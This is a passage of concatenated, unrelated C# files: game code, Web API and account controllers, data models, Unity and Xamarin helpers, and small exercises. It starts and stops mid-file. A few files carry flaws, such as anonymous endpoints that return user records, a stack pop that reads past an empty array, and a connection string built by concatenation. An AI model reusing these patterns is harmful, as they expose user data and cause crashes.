table: "Shops",
keyColumn: "Id",
keyValue: 6,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 294.0, new DateTime(2019, 9, 2, 9, 13, 38, 820, DateTimeKind.Local) });
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 7,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 411.0, new DateTime(2019, 9, 2, 9, 13, 38, 820, DateTimeKind.Local) });
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 8,
columns: new[] { "Distance", "ImageUrl", "Timestamp" },
values: new object[] { 237.0, "http://www.sabcnews.com/sabcnews/wp-content/uploads/2018/03/pick-n-pay-1.jpg", new DateTime(2019, 9, 2, 9, 13, 38, 820, DateTimeKind.Local) });
}
}
}
|
namespace Computers.Manufacturers
{
public class Manufacturer
{
public Manufacturer(string name)
{
this.Name = name;
}
public string Name { get; set; }
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Protogame;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
using Microsoft.Xna.Framework.Audio;
using System.Collections.ObjectModel;
using Microsoft.Xna.Framework.Input;
using Protogame.SHMUP;
using RedMeansGo.Entities;
namespace RedMeansGo
{
public class RedMeansGoWorld : ShmupWorld
{
public RedMeansGoGame Game { get; set; }
public IEnumerator<double> Heartbeats;
public static Random m_Random = new Random();
public Color BackgroundColor;
private BackgroundAudioEntity m_BackgroundAudio;
public RedMeansGoWorld()
{
this.Heartbeats = Heartbeat.HeartbeatEnumerator.YieldHeartbeats(this).GetEnumerator();
}
public void Restart()
{
if (m_BackgroundAudio != null)
m_BackgroundAudio.Stop();
this.Entities.Clear();
this.SpawnPlayer<RedMeansGo.Entities.Player>(Tileset.TILESET_PIXEL_WIDTH / 2, Tileset.TILESET_PIXEL_HEIGHT - 200);
m_BackgroundAudio = new BackgroundAudioEntity(this, "audio.heartbeat");
m_BackgroundAudio.Start();
this.Entities.Add(m_BackgroundAudio);
}
public override void DrawBelow(GameContext context)
{
// Clear the screen.
if ((this.Player as Entities.Player).Health <= 0)
context.Graphics.GraphicsDevice.Clear(Color.Black);
else
{
this.BackgroundColor = new Color(
(float)(
((1) * 0.05) +
((1) * 0.15) *
(this.Heartbeats.Current / 2 + 0.5)
),
0,
0
);
context.Graphics.GraphicsDevice.Clear(this.BackgroundColor);
}
// Create stars.
foreach (var e in this.Entities)
if (e is RedMeansGo.Entities.WhiteBloodCell || e is RedMeansGo.Entities.RedBloodCell)
{
double heartbeat = this.Heartbeats.Current;
var s = (int)((heartbeat + 1) / 2 + 1);
if (e is RedMeansGo.Entities.WhiteBloodCell)
s += 5;
context.SpriteBatch.Draw(
context.Textures[e is RedMeansGo.Entities.WhiteBloodCell ? "enemy.bigbullet" : "star"],
new Rectangle((int)e.X, (int)e.Y, s, s), null, e.Color, (float)e.Rotation, e.Origin, SpriteEffects.None, 1f);
}
}
public override bool Update(GameContext context)
{
this.Game.FixResolution();
bool handle = base.Update(context);
if (!handle)
return false;
// Draw some stars if we feel like it.
for (var i = 0; i < m_Random.NextDouble() * 150; i++)
this.Entities.Add(new RedMeansGo.Entities.RedBloodCell {
X = (float)m_Random.NextDouble() * Tileset.TILESET_PIXEL_WIDTH,
Y = this.Player.Y - RedMeansGoGame.GAME_WIDTH,
Speed = 3 * (float)m_Random.NextDouble() + 1
}
);
if ((this.Player as Entities.Player).Health > 0)
{
for (var i = 0; i < m_Random.NextDouble() * 150; i++)
if (m_Random.NextDouble() < 0.05)
this.Entities.Add(new RedMeansGo.Entities.WhiteBloodCell {
X = (float)m_Random.NextDouble() * Tileset.TILESET_PIXEL_WIDTH,
Y = this.Player.Y - RedMeansGoGame.GAME_WIDTH,
Speed = 3 * (float)m_Random.NextDouble() + 1
}
);
}
// Cast first.
RedMeansGo.Entities.Player player = this.Player as RedMeansGo.Entities.Player;
m_BackgroundAudio.Tempo = (float)((1 - player.Health) + 1);
// Move viewport to player.
context.Graphics.GraphicsDevice.Viewport
= new Viewport((int)(-player.X + RedMeansGoGame.GAME_WIDTH / 2f), (int)(-player.Y + RedMeansGoGame.GAME_HEIGHT / 1.2f), Tileset.TILESET_PIXEL_WIDTH, Tileset.TILESET_PIXEL_HEIGHT);
// Handle if player exists.
if (player != null)
{
/*var state = Mouse.GetState();
player.X = state.X;
player.Y = state.Y;*/
if (Keyboard.GetState().IsKeyDown(Keys.Left))
player.MoveLeft(this);
if (Keyboard.GetState().IsKeyDown(Keys.Up))
player.MoveUp(this);
if (Keyboard.GetState().IsKeyDown(Keys.Right))
player.MoveRight(this);
if (Keyboard.GetState().IsKeyDown(Keys.Down))
player.MoveDown(this);
if (Keyboard.GetState().IsKeyUp(Keys.Left) && Keyboard.GetState().IsKeyUp(Keys.Up) &&
Keyboard.GetState().IsKeyUp(Keys.Right) && Keyboard.GetState().IsKeyUp(Keys.Down))
player.MoveEnd();
if (Keyboard.GetState().IsKeyDown(Keys.A) && player.Health > 0)
player.Health -= 0.001;
if (Keyboard.GetState().IsKeyDown(Keys.Z))
{
player.ShootSomeMotherFudgingBullets(context.World);
}
if (Keyboard.GetState().IsKeyDown(Keys.R))
{
this.Restart();
}
}
// Update enumerator.
if ((this.Player as Entities.Player).Health > 0)
this.Heartbeats.MoveNext();
else
{
this.Heartbeats = Heartbeat.HeartbeatEnumerator.YieldStopped(this).GetEnumerator();
m_BackgroundAudio.Stop();
}
// Continue entity updates.
return true;
}
}
}
|
using System.Text.Json.Serialization;
using PlatformRacing3.Server.Game.Communication.Messages.Incoming.Json;
namespace PlatformRacing3.Server.Game.Communication.Messages.Outgoing.Json;
internal sealed class JsonSpawnAliensOutgoingPacket : JsonPacket
{
private protected override string InternalType => "spawnAliens";
[JsonPropertyName("count")]
public uint Id { get; set; }
[JsonPropertyName("seed")]
public int Seed { get; set; }
public JsonSpawnAliensOutgoingPacket(uint id, int seed)
{
this.Id = id;
this.Seed = seed;
}
} |
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Data.Entity.Infrastructure;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Web.Http;
using System.Web.Http.Description;
using JoggingDatingAPI.Models;
namespace JoggingDatingAPI.Controllers
{
public class PlaceTourismController : ApiController
{
private ApplicationDbContext db = new ApplicationDbContext();
// GET: api/PlaceTourism
public IQueryable<PlaceTourism> GetPlaceTourisms()
{
return db.PlaceTourisms;
}
// GET: api/PlaceTourism/5
[ResponseType(typeof(PlaceTourism))]
public IHttpActionResult GetPlaceTourism(int id)
{
PlaceTourism placeTourism = db.PlaceTourisms.Find(id);
if (placeTourism == null)
{
return NotFound();
}
return Ok(placeTourism);
}
// PUT: api/PlaceTourism/5
[ResponseType(typeof(void))]
public IHttpActionResult PutPlaceTourism(int id, PlaceTourism placeTourism)
{
if (!ModelState.IsValid)
{
return BadRequest(ModelState);
}
if (id != placeTourism.PlaceID)
{
return BadRequest();
}
db.Entry(placeTourism).State = EntityState.Modified;
try
{
db.SaveChanges();
}
catch (DbUpdateConcurrencyException)
{
if (!PlaceTourismExists(id))
{
return NotFound();
}
else
{
throw;
}
}
return StatusCode(HttpStatusCode.NoContent);
}
// POST: api/PlaceTourism
[ResponseType(typeof(PlaceTourism))]
public IHttpActionResult PostPlaceTourism(PlaceTourism placeTourism)
{
if (!ModelState.IsValid)
{
return BadRequest(ModelState);
}
db.PlaceTourisms.Add(placeTourism);
db.SaveChanges();
return CreatedAtRoute("DefaultApi", new { id = placeTourism.PlaceID }, placeTourism);
}
// DELETE: api/PlaceTourism/5
[ResponseType(typeof(PlaceTourism))]
public IHttpActionResult DeletePlaceTourism(int id)
{
PlaceTourism placeTourism = db.PlaceTourisms.Find(id);
if (placeTourism == null)
{
return NotFound();
}
db.PlaceTourisms.Remove(placeTourism);
db.SaveChanges();
return Ok(placeTourism);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
private bool PlaceTourismExists(int id)
{
return db.PlaceTourisms.Count(e => e.PlaceID == id) > 0;
}
}
} |
using UnityEngine;
using System.Collections;
public class StayInArena : MonoBehaviour {
private GameObject m_camera;
private Vector3 m_basePos;
void OnTriggerExit(Collider col) {
if (col.tag == "MainCamera")
m_camera.transform.position = m_basePos;
}
void OnTriggerEnter(Collider col) {
if (col.tag == "MainCamera") {
m_camera = col.gameObject;
m_basePos = m_camera.transform.position;
}
}
}
|
using Contoso.XPlatform.ViewModels.ReadOnlys;
using System;
using System.Collections.ObjectModel;
using Contoso.XPlatform.Constants;
using Xamarin.Forms;
namespace Contoso.XPlatform.Utils
{
internal class CollectionCellIViewHelpers
{
public static View GetCollectionViewItemTemplateItem(string templateName, string field, FontAttributes fontAttributes)
{
return templateName switch
{
nameof(ReadOnlyControlTemplateSelector.CheckboxTemplate) => GetCheckboxControl(field, fontAttributes),
nameof(ReadOnlyControlTemplateSelector.DateTemplate)
or nameof(ReadOnlyControlTemplateSelector.TextTemplate) => GetTextFieldControl(field, fontAttributes),
nameof(ReadOnlyControlTemplateSelector.PasswordTemplate) => GetPasswordTextFieldControl(field, fontAttributes),
nameof(ReadOnlyControlTemplateSelector.PickerTemplate) => GetPickerFieldControl(field, fontAttributes),
nameof(ReadOnlyControlTemplateSelector.SwitchTemplate) => GetSwitchFieldControl(field, fontAttributes),
nameof(ReadOnlyControlTemplateSelector.MultiSelectTemplate) => GetMultiSelectFieldControl(field, fontAttributes),
_ => throw new ArgumentException($"{nameof(templateName)}: 65783D5D-D80C-46BC-AD6B-0419CE37D987"),
};
}
private static StackLayout GetCheckboxControl(string field, FontAttributes fontAttributes)
=> new()
{
Orientation = StackOrientation.Horizontal,
IsEnabled = false,
Children =
{
new CheckBox
{
IsEnabled = false
}
.AddBinding(CheckBox.IsCheckedProperty, new Binding($"[{field}].{nameof(CheckboxReadOnlyObject.Value)}")),
new Label
{
FontAttributes = fontAttributes,
VerticalOptions = LayoutOptions.Center
}
.AddBinding(Label.TextProperty, new Binding($"[{field}].{nameof(CheckboxReadOnlyObject.CheckboxLabel)}"))
}
};
private static StackLayout GetSwitchFieldControl(string field, FontAttributes fontAttributes)
=> new()
{
Orientation = StackOrientation.Horizontal,
Children =
{
new Switch
{
Style = LayoutHelpers.GetStaticStyleResource(StyleKeys.DetailSwitchStyle),
}
.AddBinding(Switch.IsToggledProperty, new Binding($"[{field}].{nameof(SwitchReadOnlyObject.Value)}")),
new Label
{
Style = LayoutHelpers.GetStaticStyleResource(StyleKeys.SwitchCollectionCellLabelStyle),
FontAttributes = fontAttributes
}
.AddBinding(Label.TextProperty, new Binding($"[{field}].{nameof(SwitchReadOnlyObject.SwitchLabel)}"))
}
};
private static Grid GetMultiSelectFieldControl(string field, FontAttributes fontAttributes)
=> new()
{
Children =
{
GetTextField
(
$"[{field}].{nameof(MultiSelectReadOnlyObject<ObservableCollection<string>, string>.Title)}",
$"[{field}].{nameof(MultiSelectReadOnlyObject<ObservableCollection<string>, string>.DisplayText)}",
fontAttributes
)
.AddBinding(Entry.PlaceholderProperty, new Binding(nameof(MultiSelectReadOnlyObject<ObservableCollection<string>, string>.Placeholder))),
new BoxView()
}
};
private static View GetPickerFieldControl(string field, FontAttributes fontAttributes)
=> GetTextField
(
$"[{field}].{nameof(PickerReadOnlyObject<string>.Title)}",
$"[{field}].{nameof(PickerReadOnlyObject<string>.DisplayText)}",
fontAttributes
);
private static View GetTextFieldControl(string field, FontAttributes fontAttributes)
=> GetTextField
(
$"[{field}].{nameof(TextFieldReadOnlyObject<string>.Title)}",
$"[{field}].{nameof(TextFieldReadOnlyObject<string>.DisplayText)}",
fontAttributes
);
private static Grid GetPasswordTextFieldControl(string field, FontAttributes fontAttributes)
=> new()
{
Children =
{
GetPasswordTextField
(
$"[{field}].{nameof(TextFieldReadOnlyObject<string>.Title)}",
$"[{field}].{nameof(TextFieldReadOnlyObject<string>.DisplayText)}",
fontAttributes
),
new BoxView()
}
};
private static View GetTextField(string titleBinding, string valueBinding, FontAttributes fontAttributes, bool isPassword = false)
=> new Label
{
FontAttributes = fontAttributes,
FormattedText = new FormattedString
{
Spans =
{
new Span{ FontAttributes = FontAttributes.Italic }.AddBinding(Span.TextProperty, new Binding(titleBinding)),
new Span { Text = ": " },
isPassword
? new Span{ FontAttributes = FontAttributes.Bold, Text = "*****" }
: new Span{ FontAttributes = FontAttributes.Bold }.AddBinding(Span.TextProperty, new Binding(valueBinding))
}
}
};
private static View GetPasswordTextField(string titleBinding, string valueBinding, FontAttributes fontAttributes)
=> GetTextField(titleBinding, valueBinding, fontAttributes, isPassword: true);
}
}
|
using System;
using System.Collections.Generic;
using System.Text;
namespace Assignment___Chloe_Green
{
public class StockManager
{
private List<Stock> stocks = new List<Stock>();
private List<TransactionLog> tranLogs = new List<TransactionLog>();
private List<PersonalUsage> personUsgs = new List<PersonalUsage>();
public bool checkStock(int itemCode)
{
bool inStock = false;
foreach (Stock stock in stocks)
{
if (stock.itemCode == itemCode)
{
inStock = true;
}
}
return inStock;
}
public void increaseStock(int itemCode, int quantity, double price)
{
foreach (Stock stock in stocks)
{
if (stock.itemCode == itemCode)
{
stock.price += price;
stock.quantity += quantity;
}
}
}
public void addStock(Stock s)
{
stocks.Add(s);
}
public void removeStock(Stock s)
{
s.quantity--;
}
public void addTransaction(TransactionLog t)
{
tranLogs.Add(t);
}
public void addPersonalUsage(PersonalUsage p)
{
personUsgs.Add(p);
}
public List<TransactionLog> getTransactions()
{
return tranLogs;
}
public List<Stock> getStocks()
{
return stocks;
}
public List<PersonalUsage> getUsage(string personName)
{
List<PersonalUsage> pu = new List<PersonalUsage>();
foreach (PersonalUsage p in personUsgs)
{
if ((p.personName).ToLower() == personName.ToLower())
{
pu.Add(p);
}
}
return pu;
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace NumbersInTree
{
public class Tree<T>
{
private TreeNode<T> root;
private int countEncounters = 0;
private int countLeafs = 0;
private int countInnerPeaks = 0;
public Tree(T value)
{
this.root = new TreeNode<T>(value);
}
public Tree(T value, params Tree<T>[] children)
: this(value)
{
foreach (Tree<T> child in children)
{
this.root.AddChild(child.root);
}
}
public int FindEncounters(T value)
{
FindNumberOfEncounters(this.root, value, this.countEncounters);
int numberOfEncounters = countEncounters;
countEncounters = 0;
return numberOfEncounters;
}
private void FindNumberOfEncounters(TreeNode<T> root, T value, int countEncounters)
{
if (this.root.Value.Equals(value))
{
this.countEncounters++;
}
TreeNode<T> child = null;
for (int i = 0; i < root.ChildrenCount; i++)
{
child = root.GetChild(i);
if (child.Value.Equals(value))
{
this.countEncounters++;
}
FindNumberOfEncounters(child, value, this.countEncounters);
}
}
public void FindRootsWithNumberOfPeaks(int numberOfPeaksForSearch)
{
PrintRootsWithGivenNumber(this.root, numberOfPeaksForSearch);
}
private void PrintRootsWithGivenNumber(TreeNode<T> root, int numberOfPeaksForSearch)
{
if (root.ChildrenCount == numberOfPeaksForSearch)
{
Console.WriteLine("{0}", root.Value);
}
TreeNode<T> child = null;
for (int i = 0; i < root.ChildrenCount; i++)
{
child = root.GetChild(i);
PrintRootsWithGivenNumber(child, numberOfPeaksForSearch);
}
}
public void FindNumberOfLeafAndInnerPeaks()
{
PrintNumberOfLeafAndInnerPeaks(this.root, this.countLeafs, this.countInnerPeaks);
Console.WriteLine("The number of leafs is: {0}", this.countLeafs);
Console.WriteLine("The number of inner peaks is: {0}", this.countInnerPeaks);
this.countLeafs = 0;
this.countInnerPeaks = 0;
}
private void PrintNumberOfLeafAndInnerPeaks(TreeNode<T> root, int countLeafs, int countInnerPeaks)
{
if (root.ChildrenCount == 0)
{
this.countLeafs++;
}
else if (root.ChildrenCount > 0 && root.HasParent == true)
{
this.countInnerPeaks++;
}
TreeNode<T> child = null;
for (int i = 0; i < root.ChildrenCount; i++)
{
child = root.GetChild(i);
PrintNumberOfLeafAndInnerPeaks(child, this.countLeafs, this.countInnerPeaks);
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace CMS_ShopOnline.Areas.CMS_Sale.Models
{
public class POSViewModel
{
public int Id { get; set; }
public int? IdNhanVien { get; set; }
public int? IdKhachHang { get; set; }
public string GhiChu { get; set; }
public string TrangThai { get; set; }
public double? TongTien { get; set; }
public string TenKH { get; set; }
public double? TongKM { get; set; }
public List<POSDetailsViewModel> ListPOSDetails { get; set; }
}
} |
using AutoMapper;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Configuration;
using Microsoft.IdentityModel.Tokens;
using System;
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Linq;
using System.Security.Claims;
using System.Text;
using System.Threading.Tasks;
using WebApi.Models;
using WebApi.Repository.Service.Interface;
using WebApi.Repository.ViewModels;
namespace WebApi.Controllers
{
public class AccountController : BaseController
{
private readonly IUnitOfWorkService _unitOfWork;
private readonly IMapper _mapper;
private readonly IConfiguration _configuration;
public AccountController(IUnitOfWorkService unitOfWork, IMapper mapper,IConfiguration configuration)
{
_unitOfWork = unitOfWork;
_mapper = mapper;
_configuration = configuration;
}
[AllowAnonymous]
[HttpGet("getUser/{id}")]
public async Task<IActionResult> GetUserById(int id)
{
var user = await _unitOfWork.UserRepository.FindUserById(id);
return Ok(user);
}
//api/account/login
[HttpPost("login")]
public async Task<IActionResult>Loggin(UserViewModel userVM)
{
var user = await _unitOfWork.UserRepository.Authenticate(userVM.UserName, userVM.Password);
if(user == null)
{
return Unauthorized("Invalid User Id or Password");
}
var loginResponse = new LoginResultViewModel();
loginResponse.UserName = user.UserName;
loginResponse.Role = user.Role;
loginResponse.Token = CreateJwt(user);
return Ok(loginResponse);
}
[HttpPost("register")]
public async Task<IActionResult> Register(UserViewModel userVM)
{
var isExistUser = await _unitOfWork.UserRepository.UserAlreadyExists(userVM.UserName);
if (isExistUser)
{
return BadRequest("User already exists, please try something else");
}
_unitOfWork.UserRepository.Register(userVM.UserName, userVM.Password, userVM.Role);
await _unitOfWork.SaveChangeAsync();
return StatusCode(201);
}
//======Genarate Token by JWT
private string CreateJwt(User user)
{
var secretKey = _configuration.GetSection("AppSettings:Key").Value;
var key = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(secretKey));
var claims = new Claim[]
{
new Claim(ClaimTypes.Name,user.UserName),
new Claim(ClaimTypes.NameIdentifier,user.Id.ToString())
};
var signignCredentials = new SigningCredentials(key, SecurityAlgorithms.HmacSha256Signature);
var tokenDescriptor = new SecurityTokenDescriptor
{
Subject = new ClaimsIdentity(claims),
Expires = DateTime.UtcNow.AddMinutes(1),
SigningCredentials = signignCredentials
};
//token handlar : That will be responsible for genarete JWT
var tokenHandler = new JwtSecurityTokenHandler();
var token = tokenHandler.CreateToken(tokenDescriptor);
return tokenHandler.WriteToken(token);
}
[AllowAnonymous]
[HttpGet("getUserName/{userName}")]
public async Task<IActionResult> GetAllUser(string userName)
{
var user = await _unitOfWork.UserRepository.GetAllUserAsync();
return Ok(user);
}
}
}
|
using Car.Super.Market.Test.Pages;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using TechTalk.SpecFlow;
namespace Car.Super.Market.Test.StepDefinitions
{
[Binding]
public sealed class SearchSteps : BaseClass
{
HomePage homePage = new HomePage();
SearchResultPage searchResultPage = new SearchResultPage();
[Given(@"I navigate to carsupermarket homepage")]
public void GivenINavigateToCarsupermarketHomepage()
{
LaunchUrl("https://www.motors.co.uk/");
}
[When(@"I enter postcode as ""(.*)""")]
public void WhenIEnterPostcodeAs(string postcode)
{
homePage.EnterPostcode(postcode);
}
[When(@"I select the car ""(.*)""")]
public void WhenISelectTheCar(string make)
{
homePage.SelectCarMake(make);
}
[When(@"I select the corresponding car ""(.*)""")]
public void WhenISelectTheCorrespondingCar(string model)
{
homePage.SelectCarModel(model);
}
[When(@"I click on the Search button")]
public void WhenIClickOnTheSearchButton()
{
searchResultPage = homePage.ClickOnSearchButton();
}
[Then(@"car ""(.*)"" is displayed")]
public void ThenCarIsDisplayed(string make)
{
}
}
}
|
using System.Collections.Generic;
using System.Linq;
using LuizalabsWishesManager.Domains.Models;
using LuizalabsWishesManager.Domains.Repositories;
using LuizalabsWishesManager.Domains.Services;
namespace LuizalabsWishesManager.Services
{
public class WishService : ServiceBase<Wish>, IWishService
{
private readonly IWishRepository _wishRepository;
private readonly IWishProductRepository _wishProductRepository;
private readonly IProductRepository _productRepository;
public WishService(IWishRepository wishRepository, IWishProductRepository wishProductRepository,
IProductRepository productRepository) : base(wishRepository)
{
_wishRepository = wishRepository;
_wishProductRepository = wishProductRepository;
_productRepository = productRepository;
}
public void Add(int userId, List<WishProduct> products)
{
var wish = Add(userId);
AddProduct(wish, products);
}
public void Delete(int userId, int productId)
{
var wish = _wishRepository.GetAll(x => x.UserId == userId)
.FirstOrDefault();
if (wish is null) return;
var product = _wishProductRepository
.GetAll(x => x.IdWish == wish.Id && x.IdProduct == productId)
.FirstOrDefault();
if (product == null) return;
_wishProductRepository.Remove(product);
}
public Wish GetById(int wishId, int page, int pageSize) =>
_wishRepository.GetById(wishId);
private Wish Add(int userId)
{
var wish = _wishRepository.GetAll(x => x.UserId == userId).SingleOrDefault();
if (wish is null)
{
wish = new Wish { UserId = userId };
_wishRepository.Add(wish);
}
return wish;
}
private void AddProduct(Wish wish, List<WishProduct> products)
{
var wishProducts = _wishProductRepository.GetAll(x => x.IdWish == wish.Id).ToList();
if (wishProducts is null) wishProducts = new List<WishProduct>();
products.RemoveAll(p => wishProducts.Exists(wp => wp.IdProduct == p.IdProduct));
products.ForEach(p => {
p.IdWish = wish.Id;
_wishProductRepository.Add(p);
});
}
public IEnumerable<Product> GetAll(int userId, int page, int pageSize)
{
var wish = _wishRepository.GetAll(x => x.UserId == userId).FirstOrDefault();
if (wish is null) return null;
var wishProducts = _wishProductRepository.GetAll(x => x.IdWish == wish.UserId, page, pageSize);
if (wishProducts is null || !wishProducts.Any()) return null;
var products = new List<Product>();
wishProducts.ToList().ForEach(x=> {
var product = _productRepository.GetById(x.IdProduct);
if (product is null) product = new Product { IdProduct = x.IdProduct, Name = "Não Localizado" };
products.Add(product);
});
return products;
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.IO;
using Utility;
using Uxnet.Web.WebUI;
namespace eIVOGo.Module.SYS
{
public partial class UploadQRCodeKey : System.Web.UI.UserControl
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void btnConfirm_Click(object sender, EventArgs e)
{
try
{
if (!String.IsNullOrEmpty(this.QRCodeKey.Text))
{
using (FileStream fs = new FileStream(Path.Combine(Logger.LogPath, "ORCodeKey.txt"), FileMode.Create, FileAccess.Write))
{
byte[] buf = System.Text.Encoding.Default.GetBytes(this.QRCodeKey.Text);
fs.Write(buf, 0, buf.Length);
fs.Flush();
fs.Close();
}
this.AjaxAlert("QR Code金鑰已更新!!");
}
else
{
this.AjaxAlert("請填入QR Code金鑰!!");
}
}
catch (Exception ex)
{
Logger.Error(ex);
btnConfirm.AjaxAlert("系統發生錯誤,錯誤原因:" + ex.Message);
}
}
}
} |
using Infra;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace LeetCodeCSharp
{
public class _011_PopuldateNextRight
{
/*
* http://leetcode.com/onlinejudge#question_117
*/
public void PopuldateNextRight(TreeNode node, TreeNode parent)
{
if (parent != null && parent.LeftChild == node && parent.RightChild != null)
{
parent.LeftChild.Next = parent.RightChild;
}
else if (parent != null && parent.Next != null)
{
if (parent.Next.LeftChild != null)
{
node.Next = parent.Next.LeftChild;
}
else
{
node.Next = parent.Next.RightChild;
}
}
if (node.RightChild != null)
{
PopuldateNextRight(node.RightChild, node);
}
if (node.LeftChild != null)
{
PopuldateNextRight(node.LeftChild, node);
}
}
}
}
|
using MvvmCross.Core.ViewModels;
namespace EsMo.MvvmCross.Support
{
public abstract class MvxNavigatingObject<T>: MvxNavigatingObject where T:class
{
public T Model { get; private set; }
public MvxNavigatingObject(T model)
{
this.Model = model;
}
}
}
|
namespace Triton.Game.Mapping
{
using ns26;
using System;
[Attribute38("TutorialLesson3")]
public class TutorialLesson3 : MonoBehaviour
{
public TutorialLesson3(IntPtr address) : this(address, "TutorialLesson3")
{
}
public TutorialLesson3(IntPtr address, string className) : base(address, className)
{
}
public void Awake()
{
base.method_8("Awake", Array.Empty<object>());
}
public UberText m_attacker
{
get
{
return base.method_3<UberText>("m_attacker");
}
}
public UberText m_defender
{
get
{
return base.method_3<UberText>("m_defender");
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.Entity;
namespace Custom.Models
{
public class TCContext:DbContext
{
public TCContext():base("name=TenantContext")
{
}
public TCContext(string context) : base("Data Source=.;Initial Catalog=" + context + ";Integrated Security=SSPI")
{
}
public DbSet<User> Users{ get; set; }
}
} |
using Newtonsoft.Json.Linq;
using System.Collections.Generic;
namespace NMoSql.Helpers
{
public class Only : Helper, IQueryHelper
{
public string Fn(JToken only, IList<object> values, Query query) => ((IQueryHelper)this).Fn(only, values, query);
string IQueryHelper.Fn(JToken value, IList<object> values, Query query)
{
return value.Truthy() ? "only" : string.Empty;
}
}
}
|
using System;
using System.Collections.Generic;
using System.Text;
using ServiceDesk.Core.Entities.RequestSystem;
using ServiceDesk.Core.Enums;
using ServiceDesk.Core.Interfaces.Common;
namespace ServiceDesk.Core.Interfaces.Factories.RequestSystem
{
public interface IRequestFactory<in TData> : IGenericFactory<Request, TData>
where TData : IFactoryData
{
}
}
|
namespace Composite
{
using System;
using System.Collections.Generic;
public class TextArea : UIControl
{
private readonly ICollection<UIControl> controls;
public TextArea()
: base()
{
this.controls = new List<UIControl>();
this.Name = " Text Area ";
this.Width = 40;
}
public TextArea(string text, ConsoleColor color)
: this()
{
this.Text = text;
this.Color = color;
}
public string Text { get; set; }
public void Add(UIControl control)
{
this.controls.Add(control);
}
public override void Display(int depth)
{
Console.ForegroundColor = this.Color;
int lineComponentWidth = (this.Width - this.Name.Length) / 2 - depth;
int lineBottonWidth = lineComponentWidth * 2 + this.Name.Length;
string topLineComponent = new string('=', lineComponentWidth);
string bottomLine = new string('=', lineBottonWidth);
string space = new string(' ', depth);
Console.WriteLine($"{space}{topLineComponent}{this.Name}{topLineComponent}{Environment.NewLine}");
Console.WriteLine($"{space}{this.Text}{Environment.NewLine}");
foreach (var control in this.controls)
{
control.Display(depth + 5);
}
Console.ForegroundColor = this.Color;
Console.WriteLine($"{Environment.NewLine}{space}{bottomLine}");
Console.ForegroundColor = ConsoleColor.White;
}
}
}
|
using System;
using System.Collections.Generic;
using System.Text;
namespace StackQueue
{
class Stack
{
int[] arr;
int max, top;
public Stack(int size)
{
arr = new int[size];
max = size;
top = -1;
}
public void push(int item)
{
if (top == max - 1)
{
Console.WriteLine("Stack Overflow");
}
else
{
arr[++top] = item;
Console.WriteLine(item+ " is pushed to stack");
}
}
public void pop()
{
int delitem = arr[top];
if (top == -1) {
Console.WriteLine("Stack is empty");
}
else
{
top = top - 1;
Console.WriteLine("Deleted item is {0}", delitem);
}
}
public void peek()
{
if (top == -1)
{
Console.WriteLine("Stack is empty");
}
else {
int topitem = arr[top];
Console.WriteLine("Top element is {0}",topitem);
}
}
public void printstack()
{
if (top == -1)
{
Console.WriteLine("Stack is empty");
}
else
{
for(int i = 0; i <= top; i++)
{
Console.WriteLine(arr[i]);
}
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Animation;
using System.Windows.Shapes;
using System.Windows.Navigation;
using System.Xaml;
using SilverlightApplication1.Views;
using System.ComponentModel;
namespace SilverlightApplication1
{
public partial class galeri : Page
{
public galeri()
{
InitializeComponent();
pivotGaleri.ItemsSource = Budaya.Equals();
}
// Executes when the user navigates to this page.
protected override void OnNavigatedTo(NavigationEventArgs e)
{
}
}
}
|
using AutoMapper;
using FluentValidation.Results;
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TestApplicationDomain.DTO;
using TestApplicationDomain.Entities;
using TestApplicationDomain.Validators;
using TestApplicationInterface;
using TestApplicationInterface.Repository;
using TestApplicationInterface.Service;
namespace TestApplicationService
{
public class BookingService : IBookingService
{
private readonly IMapper _mapper;
private readonly IBookingRepository _bookingRepository;
private readonly IUnitOfWork _unitOfWork;
public BookingService(IMapper mapper,
IBookingRepository bookingRepository,
IUnitOfWork unitOfWork)
{
_mapper = mapper;
_bookingRepository = bookingRepository;
_unitOfWork = unitOfWork;
}
public async Task<bool> SaveBooking(BookingDto booking)
{
var validate = await new BookingValidator().ValidateAsync(booking);
if (!validate.IsValid)
throw new ValidationException();
var bookingRequest = _mapper.Map<Booking>(booking);
bookingRequest.CreatedBy = "user";
bookingRequest.CreatedDate = DateTime.Now;
_bookingRepository.Add(bookingRequest);
var rows = await _unitOfWork.CommitAsync();
if (rows > 0) return true;
return false;
}
}
}
|
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
public class CurrentTarget : MonoBehaviour
{
private Text textArea;
void Start()
{
textArea = GetComponent<Text>();
}
public void SetText(string text)
{
textArea.text = text;
}
} |
using System;
using System.Collections.Generic;
using SMSEntities.SMSDBEntities;
using System.Data;
using MySql.Data.MySqlClient;
namespace SMSDAL.SMSDB
{
public class KeyStatusesDBA
{
public int InsertKeyStatuses(KeyStatuses p_KeyStatuses)
{
int result = 0;
MySqlParameter[] parameters = new MySqlParameter[] {
